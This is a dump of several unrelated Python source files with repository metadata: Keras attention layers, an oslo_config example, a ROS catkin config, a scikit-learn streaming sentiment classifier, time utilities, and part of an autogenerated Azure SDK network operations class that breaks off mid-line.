+ name) return full_name == name or full_name.startswith(name + DOT) def _cls(node): return node.__class__.__name__ def _camelize(name): p = name.split('_') return p[0] + ''.join(_ucfirst(s) for s in p[1:]) def _ucfirst(s): return s[0].upper() + s[1:] _comma = ','.join

30.218299

105

0.537289

4e09750451d64d4910c72f9a08e8e6d5dbdf5222

24,222

py

Python

layers/attention.py

sdadas/yast

f9cd471ae3c915acb8111dd85a53acc72348c355

[ "Apache-2.0" ]

2

2018-12-18T03:12:13.000Z

2018-12-31T18:03:27.000Z

layers/attention.py

sdadas/yast

f9cd471ae3c915acb8111dd85a53acc72348c355

[ "Apache-2.0" ]

6

2020-01-28T21:59:18.000Z

2022-02-09T23:29:00.000Z

layers/attention.py

sdadas/yast

f9cd471ae3c915acb8111dd85a53acc72348c355

[ "Apache-2.0" ]

1

2020-07-07T18:25:15.000Z

from keras import initializers, regularizers, constraints, activations from keras.engine import Layer, InputSpec from keras import backend as K from keras.layers.recurrent import Recurrent """ Keras attention layers created by Christos Baziotis (https://github.com/cbaziotis) - see https://github.com/keras-team/keras/issues/4962 Attention() Keras Layer that implements an Attention mechanism for temporal data. Supports Masking. Follows the work of Raffel et al. [https://arxiv.org/abs/1512.08756] AttentionWithContext() Keras Layer that implements an Attention mechanism, with a context/query vector, for temporal data. Supports Masking. Follows the work of Yang et al. [https://www.cs.cmu.edu/~diyiy/docs/naacl16.pdf] "Hierarchical Attention Networks for Document Classification" """ def dot_product(x, kernel): """ Wrapper for dot product operation, in order to be compatible with both Theano and Tensorflow Args: x (): input kernel (): weights Returns: """ if K.backend() == 'tensorflow': return K.squeeze(K.dot(x, K.expand_dims(kernel)), axis=-1) else: return K.dot(x, kernel) class Attention(Layer): def __init__(self, W_regularizer=None, b_regularizer=None, W_constraint=None, b_constraint=None, bias=True, **kwargs): """ Keras Layer that implements an Attention mechanism for temporal data. Supports Masking. Follows the work of Raffel et al. [https://arxiv.org/abs/1512.08756] # Input shape 3D tensor with shape: `(samples, steps, features)`. # Output shape 2D tensor with shape: `(samples, features)`. :param kwargs: Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with return_sequences=True. The dimensions are inferred based on the output shape of the RNN. Note: The layer has been tested with Keras 2.0.6 Example: model.add(LSTM(64, return_sequences=True)) model.add(Attention()) # next add a Dense layer (for classification/regression) or whatever... """ self.supports_masking = True self.init = initializers.get('glorot_uniform') self.W_regularizer = regularizers.get(W_regularizer) self.b_regularizer = regularizers.get(b_regularizer) self.W_constraint = constraints.get(W_constraint) self.b_constraint = constraints.get(b_constraint) self.bias = bias super(Attention, self).__init__(**kwargs) def build(self, input_shape): assert len(input_shape) == 3 self.W = self.add_weight((input_shape[-1],), initializer=self.init, name='{}_W'.format(self.name), regularizer=self.W_regularizer, constraint=self.W_constraint) if self.bias: self.b = self.add_weight((input_shape[1],), initializer='zero', name='{}_b'.format(self.name), regularizer=self.b_regularizer, constraint=self.b_constraint) else: self.b = None self.built = True def compute_mask(self, input, input_mask=None): # do not pass the mask to the next layers return None def call(self, x, mask=None): eij = dot_product(x, self.W) if self.bias: eij += self.b eij = K.tanh(eij) a = K.exp(eij) # apply mask after the exp. will be re-normalized next if mask is not None: # Cast the mask to floatX to avoid float64 upcasting in theano a *= K.cast(mask, K.floatx()) # in some cases especially in the early stages of training the sum may be almost zero # and this results in NaN's. A workaround is to add a very small positive number ε to the sum. # a /= K.cast(K.sum(a, axis=1, keepdims=True), K.floatx()) a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx()) a = K.expand_dims(a) weighted_input = x * a return K.sum(weighted_input, axis=1) def compute_output_shape(self, input_shape): return input_shape[0], input_shape[-1] def get_config(self): config = { 'W_regularizer': regularizers.serialize(self.W_regularizer), 'b_regularizer': regularizers.serialize(self.b_regularizer), 'W_constraint': constraints.serialize(self.W_constraint), 'b_constraint': constraints.serialize(self.b_constraint), 'bias': self.bias } base_config = super(Attention, self).get_config() return dict(list(base_config.items()) + list(config.items())) class AttentionWithContext(Layer): """ Attention operation, with a context/query vector, for temporal data. Supports Masking. Follows the work of Yang et al. [https://www.cs.cmu.edu/~diyiy/docs/naacl16.pdf] "Hierarchical Attention Networks for Document Classification" by using a context vector to assist the attention # Input shape 3D tensor with shape: `(samples, steps, features)`. # Output shape 2D tensor with shape: `(samples, features)`. How to use: Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with return_sequences=True. The dimensions are inferred based on the output shape of the RNN. Note: The layer has been tested with Keras 2.0.6 Example: model.add(LSTM(64, return_sequences=True)) model.add(AttentionWithContext()) # next add a Dense layer (for classification/regression) or whatever... """ def __init__(self, W_regularizer=None, u_regularizer=None, b_regularizer=None, W_constraint=None, u_constraint=None, b_constraint=None, bias=True, **kwargs): self.supports_masking = True self.init = initializers.get('glorot_uniform') self.W_regularizer = regularizers.get(W_regularizer) self.u_regularizer = regularizers.get(u_regularizer) self.b_regularizer = regularizers.get(b_regularizer) self.W_constraint = constraints.get(W_constraint) self.u_constraint = constraints.get(u_constraint) self.b_constraint = constraints.get(b_constraint) self.bias = bias super(AttentionWithContext, self).__init__(**kwargs) def build(self, input_shape): assert len(input_shape) == 3 self.W = self.add_weight((input_shape[-1], input_shape[-1],), initializer=self.init, name='{}_W'.format(self.name), regularizer=self.W_regularizer, constraint=self.W_constraint) if self.bias: self.b = self.add_weight((input_shape[-1],), initializer='zero', name='{}_b'.format(self.name), regularizer=self.b_regularizer, constraint=self.b_constraint) self.u = self.add_weight((input_shape[-1],), initializer=self.init, name='{}_u'.format(self.name), regularizer=self.u_regularizer, constraint=self.u_constraint) super(AttentionWithContext, self).build(input_shape) def compute_mask(self, input, input_mask=None): # do not pass the mask to the next layers return None def call(self, x, mask=None): uit = dot_product(x, self.W) if self.bias: uit += self.b uit = K.tanh(uit) ait = K.dot(uit, self.u) a = K.exp(ait) # apply mask after the exp. will be re-normalized next if mask is not None: # Cast the mask to floatX to avoid float64 upcasting in theano a *= K.cast(mask, K.floatx()) # in some cases especially in the early stages of training the sum may be almost zero # and this results in NaN's. A workaround is to add a very small positive number ε to the sum. # a /= K.cast(K.sum(a, axis=1, keepdims=True), K.floatx()) a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx()) a = K.expand_dims(a) weighted_input = x * a return K.sum(weighted_input, axis=1) def compute_output_shape(self, input_shape): return input_shape[0], input_shape[-1] class AttentionDecoder(Recurrent): def __init__(self, units, output_dim, activation='tanh', return_probabilities=False, name='AttentionDecoder', kernel_initializer='glorot_uniform', recurrent_initializer='orthogonal', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): """ Implements an AttentionDecoder that takes in a sequence encoded by an encoder and outputs the decoded states :param units: dimension of the hidden state and the attention matrices :param output_dim: the number of labels in the output space references: Bahdanau, Dzmitry, Kyunghyun Cho, and Yoshua Bengio. "Neural machine translation by jointly learning to align and translate." arXiv preprint arXiv:1409.0473 (2014). """ self.units = units self.output_dim = output_dim self.return_probabilities = return_probabilities self.activation = activations.get(activation) self.kernel_initializer = initializers.get(kernel_initializer) self.recurrent_initializer = initializers.get(recurrent_initializer) self.bias_initializer = initializers.get(bias_initializer) self.kernel_regularizer = regularizers.get(kernel_regularizer) self.recurrent_regularizer = regularizers.get(kernel_regularizer) self.bias_regularizer = regularizers.get(bias_regularizer) self.activity_regularizer = regularizers.get(activity_regularizer) self.kernel_constraint = constraints.get(kernel_constraint) self.recurrent_constraint = constraints.get(kernel_constraint) self.bias_constraint = constraints.get(bias_constraint) super(AttentionDecoder, self).__init__(**kwargs) self.name = name self.return_sequences = True # must return sequences def build(self, input_shape): """ See Appendix 2 of Bahdanau 2014, arXiv:1409.0473 for model details that correspond to the matrices here. """ self.batch_size, self.timesteps, self.input_dim = input_shape if self.stateful: super(AttentionDecoder, self).reset_states() self.states = [None, None] # y, s """ Matrices for creating the context vector """ self.V_a = self.add_weight(shape=(self.units,), name='V_a', initializer=self.kernel_initializer, regularizer=self.kernel_regularizer, constraint=self.kernel_constraint) self.W_a = self.add_weight(shape=(self.units, self.units), name='W_a', initializer=self.kernel_initializer, regularizer=self.kernel_regularizer, constraint=self.kernel_constraint) self.U_a = self.add_weight(shape=(self.input_dim, self.units), name='U_a', initializer=self.kernel_initializer, regularizer=self.kernel_regularizer, constraint=self.kernel_constraint) self.b_a = self.add_weight(shape=(self.units,), name='b_a', initializer=self.bias_initializer, regularizer=self.bias_regularizer, constraint=self.bias_constraint) """ Matrices for the r (reset) gate """ self.C_r = self.add_weight(shape=(self.input_dim, self.units), name='C_r', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.U_r = self.add_weight(shape=(self.units, self.units), name='U_r', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.W_r = self.add_weight(shape=(self.output_dim, self.units), name='W_r', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.b_r = self.add_weight(shape=(self.units, ), name='b_r', initializer=self.bias_initializer, regularizer=self.bias_regularizer, constraint=self.bias_constraint) """ Matrices for the z (update) gate """ self.C_z = self.add_weight(shape=(self.input_dim, self.units), name='C_z', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.U_z = self.add_weight(shape=(self.units, self.units), name='U_z', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.W_z = self.add_weight(shape=(self.output_dim, self.units), name='W_z', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.b_z = self.add_weight(shape=(self.units, ), name='b_z', initializer=self.bias_initializer, regularizer=self.bias_regularizer, constraint=self.bias_constraint) """ Matrices for the proposal """ self.C_p = self.add_weight(shape=(self.input_dim, self.units), name='C_p', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.U_p = self.add_weight(shape=(self.units, self.units), name='U_p', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.W_p = self.add_weight(shape=(self.output_dim, self.units), name='W_p', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.b_p = self.add_weight(shape=(self.units, ), name='b_p', initializer=self.bias_initializer, regularizer=self.bias_regularizer, constraint=self.bias_constraint) """ Matrices for making the final prediction vector """ self.C_o = self.add_weight(shape=(self.input_dim, self.output_dim), name='C_o', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.U_o = self.add_weight(shape=(self.units, self.output_dim), name='U_o', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.W_o = self.add_weight(shape=(self.output_dim, self.output_dim), name='W_o', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.b_o = self.add_weight(shape=(self.output_dim, ), name='b_o', initializer=self.bias_initializer, regularizer=self.bias_regularizer, constraint=self.bias_constraint) # For creating the initial state: self.W_s = self.add_weight(shape=(self.input_dim, self.units), name='W_s', initializer=self.recurrent_initializer, regularizer=self.recurrent_regularizer, constraint=self.recurrent_constraint) self.input_spec = [ InputSpec(shape=(self.batch_size, self.timesteps, self.input_dim))] self.built = True def call(self, x): # store the whole sequence so we can "attend" to it at each timestep self.x_seq = x # apply the a dense layer over the time dimension of the sequence # do it here because it doesn't depend on any previous steps # thefore we can save computation time: self._uxpb = self._time_distributed_dense(self.x_seq, self.U_a, b=self.b_a, input_dim=self.input_dim, timesteps=self.timesteps, output_dim=self.units) return super(AttentionDecoder, self).call(x) def _time_distributed_dense(self, x, w, b=None, dropout=None, input_dim=None, output_dim=None, timesteps=None, training=None): if not input_dim: input_dim = K.shape(x)[2] if not timesteps: timesteps = K.shape(x)[1] if not output_dim: output_dim = K.shape(w)[1] if dropout is not None and 0. < dropout < 1.: # apply the same dropout pattern at every timestep ones = K.ones_like(K.reshape(x[:, 0, :], (-1, input_dim))) dropout_matrix = K.dropout(ones, dropout) expanded_dropout_matrix = K.repeat(dropout_matrix, timesteps) x = K.in_train_phase(x * expanded_dropout_matrix, x, training=training) # collapse time dimension and batch dimension together x = K.reshape(x, (-1, input_dim)) x = K.dot(x, w) if b is not None: x = K.bias_add(x, b) # reshape to 3D tensor if K.backend() == 'tensorflow': x = K.reshape(x, K.stack([-1, timesteps, output_dim])) x.set_shape([None, None, output_dim]) else: x = K.reshape(x, (-1, timesteps, output_dim)) return x def get_initial_state(self, inputs): print('inputs shape:', inputs.get_shape()) # apply the matrix on the first time step to get the initial s0. s0 = activations.tanh(K.dot(inputs[:, 0], self.W_s)) # from keras.layers.recurrent to initialize a vector of (batchsize, # output_dim) y0 = K.zeros_like(inputs) # (samples, timesteps, input_dims) y0 = K.sum(y0, axis=(1, 2)) # (samples, ) y0 = K.expand_dims(y0) # (samples, 1) y0 = K.tile(y0, [1, self.output_dim]) return [y0, s0] def step(self, x, states): ytm, stm = states # repeat the hidden state to the length of the sequence _stm = K.repeat(stm, self.timesteps) # now multiplty the weight matrix with the repeated hidden state _Wxstm = K.dot(_stm, self.W_a) # calculate the attention probabilities # this relates how much other timesteps contributed to this one. et = K.dot(activations.tanh(_Wxstm + self._uxpb), K.expand_dims(self.V_a)) at = K.exp(et) at_sum = K.sum(at, axis=1) at_sum_repeated = K.repeat(at_sum, self.timesteps) at /= at_sum_repeated # vector of size (batchsize, timesteps, 1) # calculate the context vector context = K.squeeze(K.batch_dot(at, self.x_seq, axes=1), axis=1) # ~~~> calculate new hidden state # first calculate the "r" gate: rt = activations.sigmoid( K.dot(ytm, self.W_r) + K.dot(stm, self.U_r) + K.dot(context, self.C_r) + self.b_r) # now calculate the "z" gate zt = activations.sigmoid( K.dot(ytm, self.W_z) + K.dot(stm, self.U_z) + K.dot(context, self.C_z) + self.b_z) # calculate the proposal hidden state: s_tp = activations.tanh( K.dot(ytm, self.W_p) + K.dot((rt * stm), self.U_p) + K.dot(context, self.C_p) + self.b_p) # new hidden state: st = (1-zt)*stm + zt * s_tp yt = activations.softmax( K.dot(ytm, self.W_o) + K.dot(stm, self.U_o) + K.dot(context, self.C_o) + self.b_o) if self.return_probabilities: return at, [yt, st] else: return yt, [yt, st] def compute_output_shape(self, input_shape): """ For Keras internal compatability checking """ if self.return_probabilities: return (None, self.timesteps, self.timesteps) else: return (None, self.timesteps, self.output_dim) def get_config(self): """ For rebuilding models on load time. """ config = { 'output_dim': self.output_dim, 'units': self.units, 'return_probabilities': self.return_probabilities } base_config = super(AttentionDecoder, self).get_config() return dict(list(base_config.items()) + list(config.items())) # check to see if it compiles if __name__ == '__main__': from keras.layers import Input, LSTM from keras.models import Model from keras.layers.wrappers import Bidirectional i = Input(shape=(100,104), dtype='float32') enc = Bidirectional(LSTM(64, return_sequences=True), merge_mode='concat')(i) dec = AttentionDecoder(32, 4)(enc) model = Model(inputs=i, outputs=dec) model.summary()

42.198606

118

0.553175

71dd6824844c89126d53e168a3cd7f9ab284bfed

489

py

Python

test/oslo_test/module1.py

peter-wangxu/python_play

5774c192a49ea0c35504697dd75e1c2c8e366097

[ "Apache-2.0" ]

null

test/oslo_test/module1.py

peter-wangxu/python_play

5774c192a49ea0c35504697dd75e1c2c8e366097

[ "Apache-2.0" ]

null

test/oslo_test/module1.py

peter-wangxu/python_play

5774c192a49ea0c35504697dd75e1c2c8e366097

[ "Apache-2.0" ]

null

from __future__ import print_function from oslo_config import cfg import test1.module2 opt_group = cfg.OptGroup(name='simple', title='A Simple Example') simple_opts = [ cfg.BoolOpt('enable', default=False, help=('True enables, False disables.')) ] CONF = cfg.CONF CONF.register_group(opt_group) CONF.register_opts(simple_opts, opt_group) if __name__ == "__main__": CONF(default_config_files=['app.conf']) print(CONF.simple.enable)

25.736842

55

0.689162

40450ac93cfa72bfb0f5daf12a88f7e6e2d8382b

369

py

Python

ros/build/waypoint_updater/catkin_generated/pkg.develspace.context.pc.py

bryantravissmith/SelfDrivingCar-ND-Capstone

58147b0b3977a918b2cf9f182c315c8dd7c041e2

[ "MIT" ]

null

ros/build/waypoint_updater/catkin_generated/pkg.develspace.context.pc.py

bryantravissmith/SelfDrivingCar-ND-Capstone

58147b0b3977a918b2cf9f182c315c8dd7c041e2

[ "MIT" ]

11

2020-01-28T23:13:19.000Z

2022-03-12T00:10:25.000Z

ros/build/waypoint_updater/catkin_generated/pkg.develspace.context.pc.py

bryantravissmith/SelfDrivingCar-ND-Capstone

58147b0b3977a918b2cf9f182c315c8dd7c041e2

[ "MIT" ]

null

# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "waypoint_updater" PROJECT_SPACE_DIR = "/capstone/ros/devel" PROJECT_VERSION = "0.0.0"

41

68

0.704607

02442bdca847aaefa807753df4b42bb874f69a5e

1,066

py

Python

ch08/main.py

stoneflyop1/py_machine_learning

18fd635d312f957ca4fcc23d856a1bcd4cf95f48

[ "MIT" ]

null

ch08/main.py

stoneflyop1/py_machine_learning

18fd635d312f957ca4fcc23d856a1bcd4cf95f48

[ "MIT" ]

null

ch08/main.py

stoneflyop1/py_machine_learning

18fd635d312f957ca4fcc23d856a1bcd4cf95f48

[ "MIT" ]

null

import pandas as pd df = pd.read_csv('../data/movie_data.csv') import cleandata df['review'] = df['review'].apply(cleandata.preprocessor) # grid search, 非常耗时 #import gridlearn #gridlearn.learn(df) from sklearn.feature_extraction.text import HashingVectorizer from sklearn.linear_model import SGDClassifier import tokendata vect = HashingVectorizer( decode_error='ignore', n_features=(2 ** 21), preprocessor=None, tokenizer=tokendata.tokenizer ) clf = SGDClassifier(loss='log', random_state=1, n_iter=1) import ooclearn doc_stream = ooclearn.stream_docs(path='../data/movie_data.csv') import pyprind # 进度条 pbar = pyprind.ProgBar(45) import numpy as np classes = np.array([0, 1]) for _ in range(45): X_train, y_train = ooclearn.get_minibatch(doc_stream, size=1000) if not X_train: break X_train = vect.transform(X_train) clf.partial_fit(X_train, y_train, classes=classes) pbar.update() X_test, y_test = ooclearn.get_minibatch(doc_stream, size=5000) X_test = vect.transform(X_test) print('Accuracy: %.3f' % clf.score(X_test, y_test))

28.810811

68

0.752345

facb76938b3e6e7a2c3b52ab8531fee900bfdcdc

563

py

Python

timeline/utils.py

vstasn/django-shop-schedule

e48ae78454d0e0687b96c07e4877ffacf466a8fd

[ "MIT" ]

null

timeline/utils.py

vstasn/django-shop-schedule

e48ae78454d0e0687b96c07e4877ffacf466a8fd

[ "MIT" ]

null

timeline/utils.py

vstasn/django-shop-schedule

e48ae78454d0e0687b96c07e4877ffacf466a8fd

[ "MIT" ]

null

import datetime def format_time(day_of_week, time): return "{}{:02d}{:02d}".format(day_of_week, time.hour, time.minute) def timetostring(rtime): full_date = datetime.datetime.strptime(str(rtime).zfill(5), "%w%H%M") return "{:02d}.{:02d}".format(full_date.hour, full_date.minute) def subminutes(time1, minutes): tmp_datetime = datetime.datetime.combine(datetime.date(1, 1, 1), time1) return (tmp_datetime - datetime.timedelta(minutes=minutes)).time() def next_weekday(day_of_week): return 0 if day_of_week == 6 else day_of_week + 1

28.15

75

0.714032

2280b99146eb01e95ad8e96290b2e4c19fb52266

27,007

py

Python

sdk/network/azure-mgmt-network/azure/mgmt/network/v2019_09_01/operations/_application_security_groups_operations.py

vbarbaresi/azure-sdk-for-python

397ba46c51d001ff89c66b170f5576cf8f49c05f

[ "MIT" ]

8

2021-01-13T23:44:08.000Z

2021-03-17T10:13:36.000Z

sdk/network/azure-mgmt-network/azure/mgmt/network/v2019_09_01/operations/_application_security_groups_operations.py

vbarbaresi/azure-sdk-for-python

397ba46c51d001ff89c66b170f5576cf8f49c05f

[ "MIT" ]

null

sdk/network/azure-mgmt-network/azure/mgmt/network/v2019_09_01/operations/_application_security_groups_operations.py

vbarbaresi/azure-sdk-for-python

397ba46c51d001ff89c66b170f5576cf8f49c05f

[ "MIT" ]

null

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import TYPE_CHECKING import warnings from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.paging import ItemPaged from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import HttpRequest, HttpResponse from azure.core.polling import LROPoller, NoPolling, PollingMethod from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.arm_polling import ARMPolling from .. import models if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from typing import Any, Callable, Dict, Generic, Iterable, Optional, TypeVar, Union T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, HttpResponse], T, Dict[str, Any]], Any]] class ApplicationSecurityGroupsOperations(object): """ApplicationSecurityGroupsOperations operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.network.v2019_09_01.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = models def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def _delete_initial( self, resource_group_name, # type: str application_security_group_name, # type: str **kwargs # type: Any ): # type: (...) -> None cls = kwargs.pop('cls', None) # type: ClsType[None] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" accept = "application/json" # Construct URL url = self._delete_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'applicationSecurityGroupName': self._serialize.url("application_security_group_name", application_security_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.delete(url, query_parameters, header_parameters) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def begin_delete( self, resource_group_name, # type: str application_security_group_name, # type: str **kwargs # type: Any ): # type: (...) -> LROPoller[None] """Deletes the specified application security group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param application_security_group_name: The name of the application security group. :type application_security_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: True for ARMPolling, False for no polling, or a polling object for personal polling strategy :paramtype polling: bool or ~azure.core.polling.PollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of LROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.LROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ polling = kwargs.pop('polling', True) # type: Union[bool, PollingMethod] cls = kwargs.pop('cls', None) # type: ClsType[None] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = self._delete_initial( resource_group_name=resource_group_name, application_security_group_name=application_security_group_name, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) kwargs.pop('content_type', None) def get_long_running_output(pipeline_response): if cls: return cls(pipeline_response, None, {}) if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, **kwargs) elif polling is False: polling_method = NoPolling() else: polling_method = polling if cont_token: return LROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return LROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def get( self, resource_group_name, # type: str application_security_group_name, # type: str **kwargs # type: Any ): # type: (...) -> "models.ApplicationSecurityGroup" """Gets information about the specified application security group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param application_security_group_name: The name of the application security group. :type application_security_group_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: ApplicationSecurityGroup, or the result of cls(response) :rtype: ~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroup :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroup"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" accept = "application/json" # Construct URL url = self.get.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'applicationSecurityGroupName': self._serialize.url("application_security_group_name", application_security_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') request = self._client.get(url, query_parameters, header_parameters) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('ApplicationSecurityGroup', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def _create_or_update_initial( self, resource_group_name, # type: str application_security_group_name, # type: str parameters, # type: "models.ApplicationSecurityGroup" **kwargs # type: Any ): # type: (...) -> "models.ApplicationSecurityGroup" cls = kwargs.pop('cls', None) # type: ClsType["models.ApplicationSecurityGroup"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) api_version = "2019-09-01" content_type = kwargs.pop("content_type", "application/json") accept = "application/json" # Construct URL url = self._create_or_update_initial.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'applicationSecurityGroupName': self._serialize.url("application_security_group_name", application_security_group_name, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Content-Type'] = self._serialize.header("content_type", content_type, 'str') header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') body_content_kwargs = {} # type: Dict[str, Any] body_content = self._serialize.body(parameters, 'ApplicationSecurityGroup') body_content_kwargs['content'] = body_content request = self._client.put(url, query_parameters, header_parameters, **body_content_kwargs) pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize('ApplicationSecurityGroup', pipeline_response) if response.status_code == 201: deserialized = self._deserialize('ApplicationSecurityGroup', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _create_or_update_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}'} # type: ignore def begin_create_or_update( self, resource_group_name, # type: str application_security_group_name, # type: str parameters, # type: "models.ApplicationSecurityGroup" **kwargs # type: Any ): # type: (...) -> LROPoller["models.ApplicationSecurityGroup"] """Creates or updates an application security group. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param application_security_group_name: The name of the application security group. :type application_security_group_name: str :param parameters: Parameters supplied to the create or update ApplicationSecurityGroup operation. :type parameters: ~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroup :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: True for ARMPolling, False for no polling, or a polling object for personal polling strategy :paramtype polling: bool or ~azure.core.polling.PollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of LROPoller that returns either ApplicationSecurityGroup or the result of cls(response) :rtype: ~azure.core.polling.LROPoller[~azure.mgmt.network.v2019_09_01.models.ApplicationSecurityGroup] :raises ~azure.core.exceptions.HttpResponseError: """ polling = 